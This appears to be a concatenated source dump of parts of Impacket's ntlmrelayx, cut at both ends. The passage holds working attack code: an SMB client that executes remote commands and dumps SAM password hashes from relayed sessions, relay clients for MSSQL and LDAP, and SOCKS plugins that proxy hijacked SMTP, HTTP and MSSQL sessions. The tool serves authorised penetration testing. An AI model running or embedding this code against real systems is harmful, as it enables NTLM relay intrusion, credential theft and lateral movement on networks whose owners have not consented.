38 | if isinstance(SMBClient, smb.SMB) or isinstance(SMBClient, smb3.SMB3):
39 | self.__SMBConnection = SMBConnection(existingConnection=SMBClient)
40 | else:
41 | self.__SMBConnection = SMBClient
42 | self.__answerTMP = ''
43 | if self.config.interactive:
44 | #Launch locally listening interactive shell
45 | self.tcpshell = TcpShell()
46 | else:
47 | self.tcpshell = None
48 | if self.config.exeFile is not None:
49 | self.installService = serviceinstall.ServiceInstall(SMBClient, self.config.exeFile)
50 |
51 | def __answer(self, data):
52 | self.__answerTMP += data
53 |
54 | def run(self):
55 | # Here PUT YOUR CODE!
56 | if self.tcpshell is not None:
57 | LOG.info('Started interactive SMB client shell via TCP on 127.0.0.1:%d' % self.tcpshell.port)
58 | #Start listening and launch interactive shell
59 | self.tcpshell.listen()
60 | self.shell = MiniImpacketShell(self.__SMBConnection,self.tcpshell.socketfile)
61 | self.shell.cmdloop()
62 | return
63 | if self.config.exeFile is not None:
64 | result = self.installService.install()
65 | if result is True:
66 | LOG.info("Service Installed.. CONNECT!")
67 | self.installService.uninstall()
68 | else:
69 | from impacket.examples.secretsdump import RemoteOperations, SAMHashes
70 | from impacket.examples.ntlmrelayx.utils.enum import EnumLocalAdmins
71 | samHashes = None
72 | try:
73 | # We have to add some flags just in case the original client did not
74 | # Why? needed for avoiding INVALID_PARAMETER
75 | if self.__SMBConnection.getDialect() == smb.SMB_DIALECT:
76 | flags1, flags2 = self.__SMBConnection.getSMBServer().get_flags()
77 | flags2 |= smb.SMB.FLAGS2_LONG_NAMES
78 | self.__SMBConnection.getSMBServer().set_flags(flags2=flags2)
79 |
80 | remoteOps = RemoteOperations(self.__SMBConnection, False)
81 | remoteOps.enableRegistry()
82 | except Exception, e:
83 | if "rpc_s_access_denied" in str(e): # user doesn't have correct privileges
84 | if self.config.enumLocalAdmins:
85 | LOG.info("Relayed user doesn't have admin on {}. Attempting to enumerate users who do...".format(self.__SMBConnection.getRemoteHost()))
86 | enumLocalAdmins = EnumLocalAdmins(self.__SMBConnection)
87 | try:
88 | localAdminSids, localAdminNames = enumLocalAdmins.getLocalAdmins()
89 | LOG.info("Host {} has the following local admins (hint: try relaying one of them here...)".format(self.__SMBConnection.getRemoteHost()))
90 | for name in localAdminNames:
91 | LOG.info("Host {} local admin member: {} ".format(self.__SMBConnection.getRemoteHost(), name))
92 | except DCERPCException, e:
93 | LOG.info("SAMR access denied")
94 | return
95 | # Something else went wrong. aborting
96 | LOG.error(str(e))
97 | return
98 |
99 | try:
100 | if self.config.command is not None:
101 | remoteOps._RemoteOperations__executeRemote(self.config.command)
102 | LOG.info("Executed specified command on host: %s", self.__SMBConnection.getRemoteHost())
103 | self.__answerTMP = ''
104 | self.__SMBConnection.getFile('ADMIN$', 'Temp\\__output', self.__answer)
105 | self.__SMBConnection.deleteFile('ADMIN$', 'Temp\\__output')
106 | print self.__answerTMP.decode(self.config.encoding, 'replace')
107 | else:
108 | bootKey = remoteOps.getBootKey()
109 | remoteOps._RemoteOperations__serviceDeleted = True
110 | samFileName = remoteOps.saveSAM()
111 | samHashes = SAMHashes(samFileName, bootKey, isRemote = True)
112 | samHashes.dump()
113 | samHashes.export(self.__SMBConnection.getRemoteHost()+'_samhashes')
114 | LOG.info("Done dumping SAM hashes for host: %s", self.__SMBConnection.getRemoteHost())
115 | except Exception, e:
116 | LOG.error(str(e))
117 | finally:
118 | if samHashes is not None:
119 | samHashes.finish()
120 | if remoteOps is not None:
121 | remoteOps.finish()
122 |
--------------------------------------------------------------------------------
/ntlmrelayx/clients/mssqlrelayclient.py:
--------------------------------------------------------------------------------
1 | # Copyright (c) 2003-2016 CORE Security Technologies
2 | #
3 | # This software is provided under under a slightly modified version
4 | # of the Apache Software License. See the accompanying LICENSE file
5 | # for more information.
6 | #
7 | # MSSQL (TDS) Protocol Client
8 | #
9 | # Author:
10 | # Alberto Solino (@agsolino)
11 | # Dirk-jan Mollema / Fox-IT (https://www.fox-it.com)
12 | #
13 | # Description:
14 | # MSSQL client for relaying NTLMSSP authentication to MSSQL servers
15 | #
16 | # ToDo:
17 | # [ ] Handle SQL Authentication
18 | #
19 | import random
20 | import string
21 | from struct import unpack
22 |
23 | from impacket import LOG
24 | from impacket.examples.ntlmrelayx.clients import ProtocolClient
25 | from impacket.tds import MSSQL, DummyPrint, TDS_ENCRYPT_REQ, TDS_ENCRYPT_OFF, TDS_PRE_LOGIN, TDS_LOGIN, TDS_INIT_LANG_FATAL, \
26 | TDS_ODBC_ON, TDS_INTEGRATED_SECURITY_ON, TDS_LOGIN7, TDS_SSPI, TDS_LOGINACK_TOKEN
27 | from impacket.ntlm import NTLMAuthChallenge
28 | from impacket.nt_errors import STATUS_SUCCESS, STATUS_ACCESS_DENIED
29 | from impacket.spnego import SPNEGO_NegTokenResp
30 |
31 | try:
32 | import OpenSSL
33 | from OpenSSL import SSL, crypto
34 | except Exception:
35 | LOG.critical("pyOpenSSL is not installed, can't continue")
36 |
37 | PROTOCOL_CLIENT_CLASS = "MSSQLRelayClient"
38 |
39 | class MYMSSQL(MSSQL):
40 | def __init__(self, address, port=1433, rowsPrinter=DummyPrint()):
41 | MSSQL.__init__(self,address, port, rowsPrinter)
42 | self.resp = None
43 | self.sessionData = {}
44 |
45 | def initConnection(self):
46 | self.connect()
47 | #This is copied from tds.py
48 | resp = self.preLogin()
49 | if resp['Encryption'] == TDS_ENCRYPT_REQ or resp['Encryption'] == TDS_ENCRYPT_OFF:
50 | LOG.debug("Encryption required, switching to TLS")
51 |
52 | # Switching to TLS now
53 | ctx = SSL.Context(SSL.TLSv1_METHOD)
54 | ctx.set_cipher_list('RC4, AES256')
55 | tls = SSL.Connection(ctx,None)
56 | tls.set_connect_state()
57 | while True:
58 | try:
59 | tls.do_handshake()
60 | except SSL.WantReadError:
61 | data = tls.bio_read(4096)
62 | self.sendTDS(TDS_PRE_LOGIN, data,0)
63 | tds = self.recvTDS()
64 | tls.bio_write(tds['Data'])
65 | else:
66 | break
67 |
68 | # SSL and TLS limitation: Secure Socket Layer (SSL) and its replacement,
69 | # Transport Layer Security(TLS), limit data fragments to 16k in size.
70 | self.packetSize = 16*1024-1
71 | self.tlsSocket = tls
72 | self.resp = resp
73 | return True
74 |
75 | def sendNegotiate(self,negotiateMessage):
76 | #Also partly copied from tds.py
77 | login = TDS_LOGIN()
78 |
79 | login['HostName'] = (''.join([random.choice(string.letters) for _ in range(8)])).encode('utf-16le')
80 | login['AppName'] = (''.join([random.choice(string.letters) for _ in range(8)])).encode('utf-16le')
81 | login['ServerName'] = self.server.encode('utf-16le')
82 | login['CltIntName'] = login['AppName']
83 | login['ClientPID'] = random.randint(0,1024)
84 | login['PacketSize'] = self.packetSize
85 | login['OptionFlags2'] = TDS_INIT_LANG_FATAL | TDS_ODBC_ON | TDS_INTEGRATED_SECURITY_ON
86 |
87 | # NTLMSSP Negotiate
88 | login['SSPI'] = str(negotiateMessage)
89 | login['Length'] = len(str(login))
90 |
91 | # Send the NTLMSSP Negotiate
92 | self.sendTDS(TDS_LOGIN7, str(login))
93 |
94 | # According to the specs, if encryption is not required, we must encrypt just
95 | # the first Login packet :-o
96 | if self.resp['Encryption'] == TDS_ENCRYPT_OFF:
97 | self.tlsSocket = None
98 |
99 | tds = self.recvTDS()
100 | self.sessionData['NTLM_CHALLENGE'] = tds
101 |
102 | challenge = NTLMAuthChallenge()
103 | challenge.fromString(tds['Data'][3:])
104 | #challenge.dump()
105 |
106 | return challenge
107 |
108 | def sendAuth(self,authenticateMessageBlob, serverChallenge=None):
109 | if unpack('B', str(authenticateMessageBlob)[:1])[0] == SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_RESP:
110 | respToken2 = SPNEGO_NegTokenResp(authenticateMessageBlob)
111 | token = respToken2['ResponseToken']
112 | else:
113 | token = authenticateMessageBlob
114 |
115 | self.sendTDS(TDS_SSPI, str(token))
116 | tds = self.recvTDS()
117 | self.replies = self.parseReply(tds['Data'])
118 | if self.replies.has_key(TDS_LOGINACK_TOKEN):
119 | #Once we are here, there is a full connection and we can
120 | #do whatever the current user has rights to do
121 | self.sessionData['AUTH_ANSWER'] = tds
122 | return None, STATUS_SUCCESS
123 | else:
124 | self.printReplies()
125 | return None, STATUS_ACCESS_DENIED
126 |
127 | def close(self):
128 | return self.disconnect()
129 |
130 |
131 | class MSSQLRelayClient(ProtocolClient):
132 | PLUGIN_NAME = "MSSQL"
133 |
134 | def __init__(self, serverConfig, targetHost, targetPort = 1433, extendedSecurity=True ):
135 | ProtocolClient.__init__(self, serverConfig, targetHost, targetPort, extendedSecurity)
136 | self.extendedSecurity = extendedSecurity
137 |
138 | self.domainIp = None
139 | self.machineAccount = None
140 | self.machineHashes = None
141 |
142 | def initConnection(self):
143 | self.session = MYMSSQL(self.targetHost, self.targetPort)
144 | self.session.initConnection()
145 | return True
146 |
147 | def keepAlive(self):
148 | # Don't know yet what needs to be done for TDS
149 | pass
150 |
151 | def killConnection(self):
152 | if self.session is not None:
153 | self.session.disconnect()
154 | self.session = None
155 |
156 | def sendNegotiate(self, negotiateMessage):
157 | return self.session.sendNegotiate(negotiateMessage)
158 |
159 | def sendAuth(self, authenticateMessageBlob, serverChallenge=None):
160 | self.sessionData = self.session.sessionData
161 | return self.session.sendAuth(authenticateMessageBlob, serverChallenge)
162 |
163 |
--------------------------------------------------------------------------------
/ntlmrelayx/clients/ldaprelayclient.py:
--------------------------------------------------------------------------------
1 | # Copyright (c) 2003-2017 CORE Security Technologies
2 | #
3 | # This software is provided under under a slightly modified version
4 | # of the Apache Software License. See the accompanying LICENSE file
5 | # for more information.
6 | #
7 | # LDAP Protocol Client
8 | #
9 | # Author:
10 | # Dirk-jan Mollema / Fox-IT (https://www.fox-it.com)
11 | # Alberto Solino (@agsolino)
12 | #
13 | # Description:
14 | # LDAP client for relaying NTLMSSP authentication to LDAP servers
15 | # The way of using the ldap3 library is quite hacky, but its the best
16 | # way to make the lib do things it wasn't designed to without touching
17 | # its code
18 | #
19 | import sys
20 | from struct import unpack
21 | from impacket import LOG
22 | from ldap3 import Server, Connection, ALL, NTLM, MODIFY_ADD
23 | from ldap3.operation import bind
24 | try:
25 | from ldap3.core.results import RESULT_SUCCESS, RESULT_STRONGER_AUTH_REQUIRED
26 | except ImportError:
27 | LOG.fatal("ntlmrelayx requires ldap3 > 2.0. To update, use: pip install ldap3 --upgrade")
28 | sys.exit(1)
29 |
30 | from impacket.examples.ntlmrelayx.clients import ProtocolClient
31 | from impacket.nt_errors import STATUS_SUCCESS, STATUS_ACCESS_DENIED
32 | from impacket.ntlm import NTLMAuthChallenge, NTLMAuthNegotiate, NTLMSSP_NEGOTIATE_SIGN
33 | from impacket.spnego import SPNEGO_NegTokenResp
34 |
35 | PROTOCOL_CLIENT_CLASSES = ["LDAPRelayClient", "LDAPSRelayClient"]
36 |
37 | class LDAPRelayClientException(Exception):
38 | pass
39 |
40 | class LDAPRelayClient(ProtocolClient):
41 | PLUGIN_NAME = "LDAP"
42 | MODIFY_ADD = MODIFY_ADD
43 |
44 | def __init__(self, serverConfig, target, targetPort = 389, extendedSecurity=True ):
45 | ProtocolClient.__init__(self, serverConfig, target, targetPort, extendedSecurity)
46 | self.extendedSecurity = extendedSecurity
47 | self.negotiateMessage = None
48 | self.authenticateMessageBlob = None
49 | self.server = None
50 |
51 | def killConnection(self):
52 | if self.session is not None:
53 | self.session.socket.close()
54 | self.session = None
55 |
56 | def initConnection(self):
57 | self.server = Server("ldap://%s:%s" % (self.targetHost, self.targetPort), get_info=ALL)
58 | self.session = Connection(self.server, user="a", password="b", authentication=NTLM)
59 | self.session.open(False)
60 | return True
61 |
62 | def sendNegotiate(self, negotiateMessage):
63 | #Remove the message signing flag
64 | #For LDAP this is required otherwise it triggers LDAP signing
65 | negoMessage = NTLMAuthNegotiate()
66 | negoMessage.fromString(negotiateMessage)
67 | #negoMessage['flags'] ^= NTLMSSP_NEGOTIATE_SIGN
68 | self.negotiateMessage = str(negoMessage)
69 |
70 | with self.session.connection_lock:
71 | if not self.session.sasl_in_progress:
72 | self.session.sasl_in_progress = True
73 | request = bind.bind_operation(self.session.version, 'SICILY_PACKAGE_DISCOVERY')
74 | response = self.session.post_send_single_response(self.session.send('bindRequest', request, None))
75 | result = response[0]
76 | try:
77 | sicily_packages = result['server_creds'].decode('ascii').split(';')
78 | except KeyError:
79 | raise LDAPRelayClientException('Could not discover authentication methods, server replied: %s' % result)
80 |
81 | if 'NTLM' in sicily_packages: # NTLM available on server
82 | request = bind.bind_operation(self.session.version, 'SICILY_NEGOTIATE_NTLM', self)
83 | response = self.session.post_send_single_response(self.session.send('bindRequest', request, None))
84 | result = response[0]
85 |
86 | if result['result'] == RESULT_SUCCESS:
87 | challenge = NTLMAuthChallenge()
88 | challenge.fromString(result['server_creds'])
89 | return challenge
90 | else:
91 | raise LDAPRelayClientException('Server did not offer NTLM authentication!')
92 |
93 | #This is a fake function for ldap3 which wants an NTLM client with specific methods
94 | def create_negotiate_message(self):
95 | return self.negotiateMessage
96 |
97 | def sendAuth(self, authenticateMessageBlob, serverChallenge=None):
98 | if unpack('B', str(authenticateMessageBlob)[:1])[0] == SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_RESP:
99 | respToken2 = SPNEGO_NegTokenResp(authenticateMessageBlob)
100 | token = respToken2['ResponseToken']
101 | else:
102 | token = authenticateMessageBlob
103 | with self.session.connection_lock:
104 | self.authenticateMessageBlob = token
105 | request = bind.bind_operation(self.session.version, 'SICILY_RESPONSE_NTLM', self, None)
106 | response = self.session.post_send_single_response(self.session.send('bindRequest', request, None))
107 | result = response[0]
108 | self.session.sasl_in_progress = False
109 |
110 | if result['result'] == RESULT_SUCCESS:
111 | self.session.bound = True
112 | self.session.refresh_server_info()
113 | return None, STATUS_SUCCESS
114 | else:
115 | if result['result'] == RESULT_STRONGER_AUTH_REQUIRED and self.PLUGIN_NAME != 'LDAPS':
116 | raise LDAPRelayClientException('Server rejected authentication because LDAP signing is enabled. Try connecting with TLS enabled (specify target as ldaps://hostname )')
117 | return None, STATUS_ACCESS_DENIED
118 |
119 | #This is a fake function for ldap3 which wants an NTLM client with specific methods
120 | def create_authenticate_message(self):
121 | return self.authenticateMessageBlob
122 |
123 | #Placeholder function for ldap3
124 | def parse_challenge_message(self, message):
125 | pass
126 |
127 | class LDAPSRelayClient(LDAPRelayClient):
128 | PLUGIN_NAME = "LDAPS"
129 | MODIFY_ADD = MODIFY_ADD
130 |
131 | def __init__(self, serverConfig, target, targetPort = 636, extendedSecurity=True ):
132 | LDAPRelayClient.__init__(self, serverConfig, target, targetPort, extendedSecurity)
133 |
134 | def initConnection(self):
135 | self.server = Server("ldaps://%s:%s" % (self.targetHost, self.targetPort), get_info=ALL)
136 | self.session = Connection(self.server, user="a", password="b", authentication=NTLM)
137 | self.session.open(False)
138 | return True
139 |
--------------------------------------------------------------------------------
/ntlmrelayx/servers/socksplugins/smtp.py:
--------------------------------------------------------------------------------
1 | # Copyright (c) 2013-2018 CORE Security Technologies
2 | #
3 | # This software is provided under under a slightly modified version
4 | # of the Apache Software License. See the accompanying LICENSE file
5 | # for more information.
6 | #
7 | # A Socks Proxy for the SMTP Protocol
8 | #
9 | # Author:
10 | # Dirk-jan Mollema (@_dirkjan) / Fox-IT (https://www.fox-it.com)
11 | #
12 | # Description:
13 | # A simple SOCKS server that proxies a connection to relayed SMTP connections
14 | #
15 | # ToDo:
16 | #
17 | import logging
18 | import base64
19 |
20 | from smtplib import SMTP
21 | from impacket import LOG
22 | from impacket.examples.ntlmrelayx.servers.socksserver import SocksRelay
23 |
24 | # Besides using this base class you need to define one global variable when
25 | # writing a plugin:
26 | PLUGIN_CLASS = "SMTPSocksRelay"
27 | EOL = '\r\n'
28 |
29 | class SMTPSocksRelay(SocksRelay):
30 | PLUGIN_NAME = 'SMTP Socks Plugin'
31 | PLUGIN_SCHEME = 'SMTP'
32 |
33 | def __init__(self, targetHost, targetPort, socksSocket, activeRelays):
34 | SocksRelay.__init__(self, targetHost, targetPort, socksSocket, activeRelays)
35 | self.packetSize = 8192
36 |
37 | @staticmethod
38 | def getProtocolPort():
39 | return 25
40 |
41 | def getServerEhlo(self):
42 | for key in self.activeRelays.keys():
43 | if self.activeRelays[key].has_key('protocolClient'):
44 | return self.activeRelays[key]['protocolClient'].session.ehlo_resp
45 |
46 | def initConnection(self):
47 | pass
48 |
49 | def skipAuthentication(self):
50 | self.socksSocket.send('220 Microsoft ESMTP MAIL Service ready'+EOL)
51 |
52 | # Next should be the client sending the EHLO command
53 | cmd, params = self.recvPacketClient().split(' ',1)
54 | if cmd.upper() == 'EHLO':
55 | clientcapabilities = self.getServerEhlo().split('\n')
56 | # Don't offer these AUTH options so the client won't use them
57 | # also don't offer STARTTLS since that will break things
58 | blacklist = ['X-EXPS GSSAPI NTLM', 'STARTTLS', 'AUTH NTLM']
59 | for cap in blacklist:
60 | if cap in clientcapabilities:
61 | clientcapabilities.remove(cap)
62 |
63 | # Offer PLAIN auth for specifying the username
64 | if 'AUTH PLAIN' not in clientcapabilities:
65 | clientcapabilities.append('AUTH PLAIN')
66 | # Offer LOGIN for specifying the username
67 | if 'AUTH LOGIN' not in clientcapabilities:
68 | clientcapabilities.append('AUTH LOGIN')
69 |
70 | LOG.debug('SMTP: Sending mirrored capabilities from server: %s' % ', '.join(clientcapabilities))
71 | # Prepare capabilities
72 | delim = EOL+'250-'
73 | caps = delim.join(clientcapabilities[:-1]) + EOL + '250 ' + clientcapabilities[-1] + EOL
74 | self.socksSocket.send('250-%s' % caps)
75 | else:
76 | LOG.error('SMTP: Socks plugin expected EHLO command, but got: %s %s' % (cmd, params))
77 | return False
78 | # next
79 | cmd, params = self.recvPacketClient().split(' ', 1)
80 | args = params.split(' ')
81 | if cmd.upper() == 'AUTH' and args[0] == 'LOGIN':
82 | # OK, ask for their username
83 | self.socksSocket.send('334 VXNlcm5hbWU6'+EOL)
84 | # Client will now send their AUTH
85 | data = self.socksSocket.recv(self.packetSize)
86 | # This contains base64(username), decode
87 | creds = base64.b64decode(data.strip())
88 | self.username = creds.upper()
89 | # Client will now send the password, we don't care for it but receive it anyway
90 | self.socksSocket.send('334 UGFzc3dvcmQ6'+EOL)
91 | data = self.socksSocket.recv(self.packetSize)
92 | elif cmd.upper() == 'AUTH' and args[0] == 'PLAIN':
93 | # Simple login
94 | # This contains base64(\x00username\x00password), decode and split
95 | creds = base64.b64decode(args[1].strip())
96 | self.username = creds.split('\x00')[1].upper()
97 | else:
98 | LOG.error('SMTP: Socks plugin expected AUTH PLAIN or AUTH LOGIN command, but got: %s %s' % (cmd, params))
99 | return False
100 |
101 | # Check if we have a connection for the user
102 | if self.activeRelays.has_key(self.username):
103 | # Check the connection is not inUse
104 | if self.activeRelays[self.username]['inUse'] is True:
105 | LOG.error('SMTP: Connection for %s@%s(%s) is being used at the moment!' % (
106 | self.username, self.targetHost, self.targetPort))
107 | return False
108 | else:
109 | LOG.info('SMTP: Proxying client session for %s@%s(%s)' % (
110 | self.username, self.targetHost, self.targetPort))
111 | self.session = self.activeRelays[self.username]['protocolClient'].session
112 | else:
113 | LOG.error('SMTP: No session for %s@%s(%s) available' % (
114 | self.username, self.targetHost, self.targetPort))
115 | return False
116 |
117 | # We arrived here, that means all is OK
118 | self.socksSocket.send('235 2.7.0 Authentication successful%s' % EOL)
119 | self.relaySocket = self.session.sock
120 | self.relaySocketFile = self.session.file
121 | return True
122 |
123 | def tunnelConnection(self):
124 | doneIndicator = EOL+'.'+EOL
125 | while True:
126 | data = self.socksSocket.recv(self.packetSize)
127 | # If this returns with an empty string, it means the socket was closed
128 | if data == '':
129 | return
130 | info = data.strip().split(' ')
131 | # See if a QUIT command was sent, in which case we want to close
132 | # the connection to the client but keep the relayed connection alive
133 | if info[0].upper() == 'QUIT':
134 | LOG.debug('Client sent QUIT command, closing socks connection to client')
135 | self.socksSocket.send('221 2.0.0 Service closing transmission channel%s' % EOL)
136 | return
137 | self.relaySocket.send(data)
138 | data = self.relaySocket.recv(self.packetSize)
139 | self.socksSocket.send(data)
140 | if info[0].upper() == 'DATA':
141 | LOG.debug('SMTP Socks entering DATA transfer mode')
142 | # DATA transfer, forward to the server till done
143 | while data[-5:] != doneIndicator:
144 | prevdata = data
145 | data = self.socksSocket.recv(self.packetSize)
146 | self.relaySocket.send(data)
147 | if len(data) < 5:
148 | # This can happen, the .CRLF will be in a packet after the first CRLF
149 | # we stitch them back together for analysis
150 | data = prevdata + data
151 | LOG.debug('SMTP Socks DATA transfer mode finished')
152 | # DATA done, forward server reply
153 | data = self.relaySocket.recv(self.packetSize)
154 | self.socksSocket.send(data)
155 |
156 | def recvPacketClient(self):
157 | data = self.socksSocket.recv(self.packetSize)
158 | return data
159 |
160 |
--------------------------------------------------------------------------------
/ntlmrelayx/servers/socksplugins/http.py:
--------------------------------------------------------------------------------
1 | # Copyright (c) 2013-2017 CORE Security Technologies
2 | #
3 | # This software is provided under under a slightly modified version
4 | # of the Apache Software License. See the accompanying LICENSE file
5 | # for more information.
6 | #
7 | # A Socks Proxy for the HTTP Protocol
8 | #
9 | # Author:
10 | # Dirk-jan Mollema (@_dirkjan) / Fox-IT (https://www.fox-it.com)
11 | #
12 | # Description:
13 | # A simple SOCKS server that proxies a connection to relayed HTTP connections
14 | #
15 | # ToDo:
16 | #
17 | import base64
18 |
19 | from impacket import LOG
20 | from impacket.examples.ntlmrelayx.servers.socksserver import SocksRelay
21 | from impacket.ntlm import NTLMAuthChallengeResponse
22 |
23 | # Besides using this base class you need to define one global variable when
24 | # writing a plugin:
25 | PLUGIN_CLASS = "HTTPSocksRelay"
26 | EOL = '\r\n'
27 |
28 | class HTTPSocksRelay(SocksRelay):
29 | PLUGIN_NAME = 'HTTP Socks Plugin'
30 | PLUGIN_SCHEME = 'HTTP'
31 |
32 | def __init__(self, targetHost, targetPort, socksSocket, activeRelays):
33 | SocksRelay.__init__(self, targetHost, targetPort, socksSocket, activeRelays)
34 | self.packetSize = 8192
35 |
36 | @staticmethod
37 | def getProtocolPort():
38 | return 80
39 |
40 | def initConnection(self):
41 | pass
42 |
43 | def skipAuthentication(self):
44 | # See if the user provided authentication
45 | data = self.socksSocket.recv(self.packetSize)
46 | # Get headers from data
47 | headerDict = self.getHeaders(data)
48 | try:
49 | creds = headerDict['authorization']
50 | if 'Basic' not in creds:
51 | raise KeyError()
52 | basicAuth = base64.b64decode(creds[6:])
53 | self.username = basicAuth.split(':')[0].upper()
54 | if '@' in self.username:
55 | # Workaround for clients which specify users with the full FQDN
56 | # such as ruler
57 | user, domain = self.username.split('@', 1)
58 | # Currently we only use the first part of the FQDN
59 | # this might break stuff on tools that do use an FQDN
60 | # where the domain NETBIOS name is not equal to the part
61 | # before the first .
62 | self.username = '%s/%s' % (domain.split('.')[0], user)
63 |
64 | # Check if we have a connection for the user
65 | if self.activeRelays.has_key(self.username):
66 | # Check the connection is not inUse
67 | if self.activeRelays[self.username]['inUse'] is True:
68 | LOG.error('HTTP: Connection for %s@%s(%s) is being used at the moment!' % (
69 | self.username, self.targetHost, self.targetPort))
70 | return False
71 | else:
72 | LOG.info('HTTP: Proxying client session for %s@%s(%s)' % (
73 | self.username, self.targetHost, self.targetPort))
74 | self.session = self.activeRelays[self.username]['protocolClient'].session
75 | else:
76 | LOG.error('HTTP: No session for %s@%s(%s) available' % (
77 | self.username, self.targetHost, self.targetPort))
78 | return False
79 |
80 | except KeyError:
81 | # User didn't provide authentication yet, prompt for it
82 | LOG.debug('No authentication provided, prompting for basic authentication')
83 | reply = ['HTTP/1.1 401 Unauthorized','WWW-Authenticate: Basic realm="ntlmrelayx - provide a DOMAIN/username"','Connection: close','','']
84 | self.socksSocket.send(EOL.join(reply))
85 | return False
86 |
87 | # When we are here, we have a session
88 | # Point our socket to the sock attribute of HTTPConnection
89 | # (contained in the session), which contains the socket
90 | self.relaySocket = self.session.sock
91 | # Send the initial request to the server
92 | tosend = self.prepareRequest(data)
93 | self.relaySocket.send(tosend)
94 | # Send the response back to the client
95 | self.transferResponse()
96 | return True
97 |
98 | def getHeaders(self, data):
99 | # Get the headers from the request, ignore first "header"
100 | # since this is the HTTP method, identifier, version
101 | headerSize = data.find(EOL+EOL)
102 | headers = data[:headerSize].split(EOL)[1:]
103 | headerDict = {hdrKey.split(':')[0].lower():hdrKey.split(':', 1)[1][1:] for hdrKey in headers}
104 | return headerDict
105 |
106 | def transferResponse(self):
107 | data = self.relaySocket.recv(self.packetSize)
108 | headerSize = data.find(EOL+EOL)
109 | headers = self.getHeaders(data)
110 | try:
111 | bodySize = int(headers['content-length'])
112 | readSize = len(data)
113 | # Make sure we send the entire response, but don't keep it in memory
114 | self.socksSocket.send(data)
115 | while readSize < bodySize + headerSize + 4:
116 | data = self.relaySocket.recv(self.packetSize)
117 | readSize += len(data)
118 | self.socksSocket.send(data)
119 | except KeyError:
120 | try:
121 | if headers['transfer-encoding'] == 'chunked':
122 | # Chunked transfer-encoding, bah
123 | LOG.debug('Server sent chunked encoding - transferring')
124 | self.transferChunked(data, headers)
125 | else:
126 | # No body in the response, send as-is
127 | self.socksSocket.send(data)
128 | except KeyError:
129 | # No body in the response, send as-is
130 | self.socksSocket.send(data)
131 |
132 | def transferChunked(self, data, headers):
133 | headerSize = data.find(EOL+EOL)
134 |
135 | self.socksSocket.send(data[:headerSize + 4])
136 |
137 | body = data[headerSize + 4:]
138 | # Size of the chunk
139 | datasize = int(body[:body.find(EOL)], 16)
140 | while datasize > 0:
141 | # Size of the total body
142 | bodySize = body.find(EOL) + 2 + datasize + 2
143 | readSize = len(body)
144 | # Make sure we send the entire response, but don't keep it in memory
145 | self.socksSocket.send(body)
146 | while readSize < bodySize:
147 | maxReadSize = bodySize - readSize
148 | body = self.relaySocket.recv(min(self.packetSize, maxReadSize))
149 | readSize += len(body)
150 | self.socksSocket.send(body)
151 | body = self.relaySocket.recv(self.packetSize)
152 | datasize = int(body[:body.find(EOL)], 16)
153 | LOG.debug('Last chunk received - exiting chunked transfer')
154 | self.socksSocket.send(body)
155 |
156 | def prepareRequest(self, data):
157 | # Parse the HTTP data, removing headers that break stuff
158 | response = []
159 | for part in data.split(EOL):
160 | # This means end of headers, stop parsing here
161 | if part == '':
162 | break
163 | # Remove the Basic authentication header
164 | if 'authorization' in part.lower():
165 | continue
166 | # Don't close the connection
167 | if 'connection: close' in part.lower():
168 | response.append('Connection: Keep-Alive')
169 | continue
170 | # If we are here it means we want to keep the header
171 | response.append(part)
172 | # Append the body
173 | response.append('')
174 | response.append(data.split(EOL+EOL)[1])
175 | senddata = EOL.join(response)
176 |
177 | # Check if the body is larger than 1 packet
178 | headerSize = data.find(EOL+EOL)
179 | headers = self.getHeaders(data)
180 | body = data[headerSize+4:]
181 | try:
182 | bodySize = int(headers['content-length'])
183 | readSize = len(data)
184 | while readSize < bodySize + headerSize + 4:
185 | data = self.socksSocket.recv(self.packetSize)
186 | readSize += len(data)
187 | senddata += data
188 | except KeyError:
189 | # No body, could be a simple GET or a POST without body
190 | # no need to check if we already have the full packet
191 | pass
192 | return senddata
193 |
194 |
195 | def tunnelConnection(self):
196 | while True:
197 | data = self.socksSocket.recv(self.packetSize)
198 | # If this returns with an empty string, it means the socket was closed
199 | if data == '':
200 | return
201 | # Pass the request to the server
202 | tosend = self.prepareRequest(data)
203 | self.relaySocket.send(tosend)
204 | # Send the response back to the client
205 | self.transferResponse()
206 |
207 |
208 |
209 |
--------------------------------------------------------------------------------
/ntlmrelayx/servers/socksplugins/mssql.py:
--------------------------------------------------------------------------------
1 | # Copyright (c) 2013-2017 CORE Security Technologies
2 | #
3 | # This software is provided under under a slightly modified version
4 | # of the Apache Software License. See the accompanying LICENSE file
5 | # for more information.
6 | #
7 | # A Socks Proxy for the MSSQL Protocol
8 | #
9 | # Author:
10 | # Alberto Solino (@agsolino)
11 | #
12 | # Description:
13 | # A simple SOCKS server that proxy connection to relayed connections
14 | #
15 | # ToDo:
16 | #
17 |
18 | import struct
19 | import random
20 | import logging
21 |
22 | from impacket import LOG
23 | from impacket.examples.ntlmrelayx.servers.socksserver import SocksRelay
24 | from impacket.tds import TDSPacket, TDS_STATUS_NORMAL, TDS_STATUS_EOM, TDS_PRE_LOGIN, TDS_ENCRYPT_NOT_SUP, TDS_TABULAR, TDS_LOGIN, TDS_LOGIN7, TDS_PRELOGIN, TDS_INTEGRATED_SECURITY_ON
25 | from impacket.ntlm import NTLMAuthChallengeResponse
26 | try:
27 | import OpenSSL
28 | from OpenSSL import SSL, crypto
29 | except:
30 | LOG.critical("pyOpenSSL is not installed, can't continue")
31 | raise
32 |
33 | # Besides using this base class you need to define one global variable when
34 | # writing a plugin:
35 | PLUGIN_CLASS = "MSSQLSocksRelay"
36 |
37 | class MSSQLSocksRelay(SocksRelay):
38 | PLUGIN_NAME = 'MSSQL Socks Plugin'
39 | PLUGIN_SCHEME = 'MSSQL'
40 |
41 | def __init__(self, targetHost, targetPort, socksSocket, activeRelays):
42 | SocksRelay.__init__(self, targetHost, targetPort, socksSocket, activeRelays)
43 | self.isSSL = False
44 | self.tlsSocket = None
45 | self.packetSize = 32763
46 | self.session = None
47 |
48 | @staticmethod
49 | def getProtocolPort():
50 | return 1433
51 |
52 | def initConnection(self):
53 | pass
54 |
55 | def skipAuthentication(self):
56 |
57 | # 1. First packet should be a TDS_PRELOGIN()
58 | tds = self.recvTDS()
59 | if tds['Type'] != TDS_PRE_LOGIN:
60 | # Unexpected packet
61 | LOG.debug('Unexpected packet type %d instead of TDS_PRE_LOGIN' % tds['Type'])
62 | return False
63 |
64 | prelogin = TDS_PRELOGIN()
65 | prelogin['Version'] = "\x08\x00\x01\x55\x00\x00"
